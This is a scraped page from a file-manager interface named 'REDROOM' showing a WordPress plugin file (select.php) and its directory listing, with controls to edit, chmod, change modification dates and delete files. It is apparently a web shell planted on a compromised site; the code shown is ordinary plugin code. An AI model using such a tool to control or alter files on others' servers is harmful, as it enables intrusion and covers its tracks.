REDROOM
PHP 8.2.31
Path:
Logout
Edit File
Size: 2.18 KB
Close
/home/nshryvcy/taramarriagebureau.com/wp-content/plugins/profile-builder/assets/lib/wck-api/fields/select.php
Text
Base64
<?php /* @param string $meta Meta name. * @param array $details Contains the details for the field. * @param string $value Contains input value; * @param string $context Context where the function is used. Depending on it some actions are preformed.; * @return string $element input element html string. */ $element .= '<select name="'. $single_prefix . esc_attr( Wordpress_Creation_Kit_PB::wck_generate_slug( $details['title'], $details ) ) .'" id="'; if( !empty( $frontend_prefix ) ) $element .= $frontend_prefix; $element .= esc_attr( Wordpress_Creation_Kit_PB::wck_generate_slug( $details['title'], $details ) ) .'" class="mb-select mb-field" >'; if( !empty( $details['default-option'] ) && $details['default-option'] ) $element .= '<option value="">'. __('...Choose', 'profile-builder') .'</option>'; $field_name = Wordpress_Creation_Kit_PB::wck_generate_slug( $details['title'], $details ); // we're passing this further to a function. Need to make sure it exists so we don't get a notice. if( empty( $details['value'] ) ){ $details['value'] = false; } $options = ''; if( !empty( $details['options'] ) && !Wordpress_Creation_Kit_PB::wck_is_multi( $details['options'] ) ){ $i = 0; foreach( $details['options'] as $option ){ $optionOutput = Wordpress_Creation_Kit_PB::wck_generate_select_option($option, $details['value'], $i, $value); $options .= apply_filters( "wck_select_{$meta}_{$field_name}_option_{$i}", $optionOutput, $i); $i++; } } elseif( !empty( $details['options'] ) ){ $i = 0; foreach($details['options']['optgroups'] as $optgroup){ if(!empty($optgroup['options'])) { $options .= '<optgroup label="' . $optgroup['label'] . '">'; foreach($optgroup['options'] as $option ){ $optionOutput = Wordpress_Creation_Kit_PB::wck_generate_select_option($option, $details['value'], $i, $value); $options .= apply_filters( "wck_select_{$meta}_{$field_name}_option_{$i}", $optionOutput, $i); $i++; } $options .= '</optgroup>'; } } } $element .= apply_filters( "wck_select_{$meta}_{$field_name}_options", $options ); $element .= '</select>';
Save
Close
Exit & Reset
Text mode: syntax highlighting auto-detects file type.
Directory Contents
Dirs: 0 × Files: 16
Delete Selected
Select All
Select None
Sort:
Name
Size
Modified
Enable drag-to-move
Name
Size
Perms
Modified
Actions
checkbox.php
3.65 KB
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
country select.php
1.15 KB
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
cpt select.php
1.32 KB
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
datepicker.php
937 B
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
nested repeater.php
454 B
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
number.php
930 B
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
radio.php
2.18 KB
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
select-2-multiple.php
2.99 KB
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
select-2.php
2.40 KB
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
select.php
2.18 KB
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
text.php
827 B
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
textarea.php
731 B
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
upload.js
5.11 KB
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
upload.php
3.50 KB
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
user select.php
1.14 KB
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
wysiwyg editor.php
896 B
lrw-r--r--
2025-04-30 03:15:48
Edit
Download
Rename
Chmod
Change Date
Delete
OK
Cancel
recursive
OK
Cancel
recursive
OK
Cancel
Zip Selected
If ZipArchive is unavailable, a
.tar
will be created (no compression).